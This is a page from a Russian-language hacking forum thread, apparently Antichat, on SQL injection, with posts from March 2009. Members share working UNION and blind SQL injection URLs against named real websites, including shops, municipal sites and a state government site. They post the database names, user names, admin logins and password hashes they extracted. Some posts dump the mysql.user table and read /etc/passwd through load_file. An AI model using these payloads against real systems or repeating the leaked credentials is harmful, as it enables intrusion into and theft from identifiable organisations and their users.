SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 411 of 798
  1. +++AndreyDevil+++

    +++AndreyDevil+++ Member

    Joined:
    28 Dec 2008
    Messages:
    117
    Likes Received:
    30
    Reputations:
    0
    ================================================================
    http://www.sanctuarystyle.com.au/product.php?id=1+union+select+1,2,3,user(),version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*
    ================================================================
    Database Version:4.0.24_Debian-10ubuntu2.3-log
    Database name:sanctuarystyle
    User name:lstefanovski@localhost
    ================================================================
    ================================================================
    http://www.5startrophies.com.au/product.php?id=1+union+select+1,2,version(),4,5,6/*
    ================================================================
    Database Version: 5.0.45
    Database name: fivestars
    User name: jowang@localhost
    ================================================================
    http://www.5startrophies.com.au/admin/
    5star:kerdan
    ================================================================
    ================================================================
    http://www.spindriftcreations.com/shop.php?cat=-1+union+select+1,TABLE_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+INFORMATION_SCHEMA.TABLES+LIMIT+23,1/*
    ================================================================
    /admin/
    mcnux:3ecbed76c9eaf4c11daf20f2985a35f7
    ================================================================
    ================================================================
     
    #8201 +++AndreyDevil+++, 10 Mar 2009
    Last edited: 19 Mar 2009
    2 people like this.
  2. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.primariajibou.ro/icanunturi.php?cod=1&id=-53+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4&sid



    Database Version: 4.1.22-standard-log
    Database name: jibou_web
    User name: jibou_usr@localhost
     
    #8202 Gorev, 10 Mar 2009
    2 people like this.
  3. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.notiprensa.info/noticias/display.php?ID=-24/**/UNION/**/SELECT/**/1,2,concat(grupo_ID,0x3a,grupo_usuario,0x3a,grupo_password),4,5,6,7,8/**/FROM/**/npcentral.grupos/**//*

    http://www.notiprensa.info/noticias/display.php?ID=-24/**/UNION/**/SELECT/**/1,2,concat(user(),0x3a,version()),4,5,6,7,8/**//*
    uv0552@localhost:5.0.45-Max
     
    #8203 Rubaka, 10 Mar 2009
    2 people like this.
  4. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.eurobath.ru/?pg=&artid=9999+union+select+1,2,concat_ws(0x 3a,vers ion(),database(),user()),4,5,6--&state=2
    Database Version : 5.0.67
    Database name : nibs_s_sanmax
    User name : [email protected]
     
    #8204 f1ng3r, 10 Mar 2009
    3 people like this.
  5. +++AndreyDevil+++

    +++AndreyDevil+++ Member

    Joined:
    28 Dec 2008
    Messages:
    117
    Likes Received:
    30
    Reputations:
    0
    http://www.swissarmyvehicles.com/vehiclelist.php?cat=-1+union+select+1,2,3,4,5,6,version(),user(),database(),10,11,12,13/*
    ====
    Database Version :5.0.33-log
    Database name :swissarmy@localhost
    User name : swissarmyvehicles_com
    ====
    cmsadmin:AOWonTheRun(Хз где админка.....может кто найдет )
    ================================================================
    http://www.loopeez.co.uk/shop.php?cat=-1+union+select+1,database(),3,4,5,6,7,8,9,10,11,12,13,14/*
    ====
    Database Version :5.0.22-log
    Database name :loopeezco1
    User name : [email protected]
    ================================================================
    http://www.loversandfriends.nl/shop.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
    ====
    Database Version :4.1.21
    Database name :loversandfriends
    User name : lovers@localhost
    ================================================================
    http://www.gamezworld.de/scripte/newsletter/archive.php?id=-1+UNION+SELECT+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16,17,18,19--
    ====
    Database Version :5.0.67-community
    Database name :db00015995
    User name : dbo00015995@h556419
    ================================================================
    http://www.gbwebsols.co.uk/mk7/overview.php?id=-1+union+select+1,version(),3,4,5,6,7,8,9/*
    ====
    Database Version :4.1.22
    Database name :gbw247
    User name : gbwapplication@localhost
    ================================================================
    http://www.littlewineclub.co.uk/grapevine-news-article.php?id=-1+union+select+1,2,database(),version(),user(),6,7/*
    ====
    Database Version :4.1.20
    Database name :wine
    User name : lwcwines@localhost
    ================================================================
    http://www.tjs.co.uk/services.php?ID=-1+union+select+1,2,3,version(),5,6,7,8,9,user(),database(),12,13,14/*
    ====
    Database Version :4.1.20-log
    Database name :tjs2005
    User name : tjs2005@localhost
    ================================================================
    http://www.stauntongardencentre.co.uk/shop/category.php?cid=-1+union+select+1,2,version(),4,5,user(),7,8/*
    ====
    Database Version :4.1.22
    Database name :staunton_site
    User name : [email protected]
    ================================================================
    http://www.globalwaterfoundation.org/news.php?id=-1+union+select+1,user_username,3+FROM+wma_users/*
    ================================================================
    too1s:4what
    --------------------------------------------------------------------------------------------------------------------
     
    #8205 +++AndreyDevil+++, 10 Mar 2009
  6. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://dalheim.business-consulting-online.info/page.php?id=-14+union+select+1,2,3,concat(user(),0x3a,version()),5,6,7,8,9,0,1,2,3,4,5,6,7/*

    Database Version: 4.1.13
    Database name: dalheim
    User name: dalheim@localhost
     
    #8206 Rubaka, 10 Mar 2009
    1 person likes this.
  7. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.primariapn.ro/index.php?p=evenimentDetalii&id=-67'+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9/*


    Version : 4.1.20
    Database : primarie
    User : adminsite@localhost

    добавка посту выше

    от diznt, нельзя так скули постить.
    http://www.superherohype.com/news.php?id=27+AND+ASCII(SUBSTRING((select+y=1..3()),1,1))>x/*
    y1=version()
    y2=database()
    y3=user()
    x1=52,46,49,46,50,50
    x2=115,117,112,101,114,104,101,114,95,110,101,120,116,114,97
    x3=115,117,112,101,114,104,101,114,95,110,101,120,116,114,97,64,115,104,104,45,110,49,45,105,110,116

    Version : 4.1.22
    Database : superher_nextra
    User : superher_nextra@shh-n1-int
     
    #8207 Gorev, 10 Mar 2009
    2 people like this.
  8. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Pagerank: 4
    тИЦ: 300

    Code:
    http://www.dimex.ru/news.php?n_id=-1+union+select+1,concat_ ws(0x3a,version(),database(),user()),3--
    Database Version : 5.0.67
    Database name : dimex
    User name : [email protected]

    юзвери:

    Code:
    http://www.dimex.ru/news.php?n_id=-1+union+select+1,concat_Ws(0x3a,U_ LOGIN,U _PASS),3+from+USERS+limit+1,1--
    --------------------------------------------+

    Pagerank: 5
    тИЦ: 325

    Code:
    http://www.vniipo.ru/books/description.php?rowid=-1+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,version(),databa se(),user()),11,12,13,14,15,16,17,18,19--
    Database Version : 4.0.27-max-log
    Database name : vniipo_orde
    User name : [email protected]

    --------------------------------------------+

    Pagerank: 4
    тИЦ: 325

    Code:
    http://www.psltd.org/news/news.php?news_id=-1+union+select+1,concat_ws(0x3a,version(),data base(),user()),3,4,5,6, 7,8,9,10,11,12,13,14,15,16,17,18,19--
    Database Version : 4.1.22-standard
    Database name : psltd05_spectr
    User name : psltd05_sergey@localhost
     
    #8208 f1ng3r, 10 Mar 2009
  9. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.nepg.info/editor/page.php?id=-9+union+select+1,2,concat(user(),0x3a,version()),4,5,6,7/*

    Database Version: 5.0.22-log
    Database name: nepg
    User name: nepgDBuser@localhost

    http://www.nepg.info/editor/page.php?id=-9+union+select+1,2,concat(logins,0x3a,user_name,user_id,0x3a,user_password),4,5,6,7+from+nepg.tbl_users+limit+1,1/*

    moderator2:0db5a54a73eba82589aa82755271b773
    marten4:3239b0589f225fdac005dfe3dd257a48
    admin1:0db5a54a73eba82589aa82755271b773
     
    #8209 Rubaka, 10 Mar 2009
  10. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    www.intercom.ru

    Code:
    http://www.intercom.ru/press/index.html?id=-10+union+select+concat(user(),0x3a,database(),0x3a,version()),2,3,4,5--
    user(): intercom@localhost
    database(): intercom
    version(): 4.0.17

    PR=4


    football.alphatv.ru

    Code:
    http://football.alphatv.ru/news.html?id=-10+union+select+concat(user(),0x3a,database(),0x3a,version()),2,3,4,5,6,7--
    user(): football@localhost
    database(): ootball
    version(): 5.0.51a-12-log

    PR=5

    Code:
    http://football.alphatv.ru/news.html?id=-10+union+select+concat(user,0x3a,password,0x3a,file_priv),2,3,4,5,6,7+from+mysql.user--
    HTML:
    root:2727417e4e7bb038:Y
root:2301137474663dd6:Y
debian-sys-maint:*0220C5C9224BC30C74598ED193843487AE09BD20:Y
alpha:*BD66B1F6FB23D3DBC4E5DDF5B5FF1A4473950D95:N
forum:19f70f607ae86cfa:N
mnogo:5940e12325c5907f:N
football:30e938253a8a9594:Y
eromantica:035c3a8a4d0471db:N
john:2f0bd6315e3fe4bb:Y
john::Y
sayapin:37072e0b140f7dc7:Y
zavit:23d062547458cc22:N
sphinx:5daa5bb2161dd656:N
teleport2001:4edb331935cd80c4:N
forum2:02b3cef531f2e210:N
bugz::N
football::Y
    и наконец читаем /etc/passwd

    Code:
    http://football.alphatv.ru/news.html?id=-10+union+select+load_file('/etc/passwd'),2,3,4,5,6,7+from+mysql.user--
    дерзайте..
     
    #8210 z00MAN, 10 Mar 2009
  11. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.naiades.info/platina/page.php?id=102+union+select+version(),2,3,4,5,6+limit+1,1/*

    Database Version: 5.0.18
    Database name: platina
    User name: root@localhost


    вывод в TITLE


    http://www.naiades.info/platina/page.php?id=102+union+select+concat(username,0x3a,password),2,3,4,5,6+from+users+limit+1,1/*

    admin:*AD856BA0D0DA48A154279CE87A0A28616E923903



    http://www.naiades.info/platina/page.php?id=102/**/UNION/**/SELECT/**/LOAD_FILE(0x2F6574632F706173737764),2,3,4,5,6/**/LIMIT/**/1,1/*
     
    #8211 Rubaka, 10 Mar 2009
  12. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://www.rustrahovka.ru/companies/detail.php?ID=3+union+select+version(),2,3,4,5+limit+1,1/*
    version():5.0.45
    database():rustrahovka
    user():rustrahovka@localhost
     
    #8212 M.W.N.N., 10 Mar 2009
  13. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Code:
    http://www.idrottshuset.se/readnews.php?ID=-1+union+all+select+0,concat_ws(0x3a,version(),user(),database()),2,3,4,5,6,7,8--
    ветсяи/юзер/бд:

    Code:
    5.0.33-log:ih@localhost:ih
     
    #8213 -m0rgan-, 10 Mar 2009
  14. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Code:
    http://kabinetslovakistiky.wz.cz/article.php?id=-1+union+all+select+0,1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10--
    версия/юзер/бд:

    Code:
    5.0.67-community-log:kabinetslovak34@loki:kabinetslovak34
     
    #8214 -m0rgan-, 10 Mar 2009
  15. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    http://www.shp-irma.ru/big.php?id=-270'+union+select+version(),2/*
    5.0.26-log

    Code:
    http://images4walls.com/big.php?recordID=-39+union+select+1,2,version()/*
    4.1.18-standard
     
    _________________________
    #8215 yarbabin, 10 Mar 2009
    Last edited: 10 Mar 2009
  16. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.primaria-ilia.ro/comunicat.php?id=-5+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9--



    Database Version: 5.0.67-community-log
    Database name: primaria_ilia
    User name: primaria_ilia@localhost
     
    #8216 Gorev, 11 Mar 2009
  17. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.arsenal-sb.ru/news/texts/?newsid=-1+union+select+1,2,concat _ws(0x3a,version(),database(),user()),4,5,6,7--
    Database Version : 5.0.51a-log
    Database name : udb2408
    User name : Uwww2408S@localhost

    админ:

    Code:
    http://www.arsenal-sb.ru/news/texts/?newsid=-1+union+select+1,2,concat_ws(0x3a,login,pa ssword),4,5,6,7+from+b_admin--
    Code:
    admin:a7102f58877d7ba35af0960cbf60306b
     
    #8217 f1ng3r, 11 Mar 2009
  18. edichka

    edichka Member

    Joined:
    31 Jan 2009
    Messages:
    19
    Likes Received:
    14
    Reputations:
    0
    msd.anl.gov pr 6


    Code:
    http://www.msd.anl.gov/groups/emc/highlights.php?id=-5%20union%20select%201,concat_ws(0x23,database(),user(),version()),3,4,5

database,user,version

emc#emc@localhost#5.0.51a-3ubuntu5.4-log

adminka

emc.msd.anl.gov/cgi-bin/Calcium39.pl?Op=UserLogin
    texasattorneygeneral.gov pr 7


    Code:
    https://www.texasattorneygeneral.gov/agency/weeklyag/weekly_columns_view.php?id=-10%20union%20select%201,2,3,4,concat_ws(0x23,user(),database(),version()),6,7,8,9,0

user,database,version

pub_edit@localhost#oag#4.0.26a
     
    #8218 edichka, 11 Mar 2009
    Last edited: 11 Mar 2009
    4 people like this.
  19. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Code:
    http://www.cavaletto-shoes.ru/index.php?issue_id=7+and+ascii(substring((select+1+from+users+limit+1),1,1))%3E1--
    Roomiki:r466B875
     
    #8219 R1dex, 11 Mar 2009
    Last edited: 11 Mar 2009
  20. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.new-orleans-locksmith.net/intercom_product.php?is_id=-99999999999+union+select+1,unhex(hex(concat_ws(0x3a,user(),database(),version()))),3
    user():database():version()
    root@localhost:neworleanlocksmith:4.1.15-nt
     
    #8220 mailbrush, 11 Mar 2009
    1 person likes this.
(You must log in or sign up to post here.)
Page 411 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.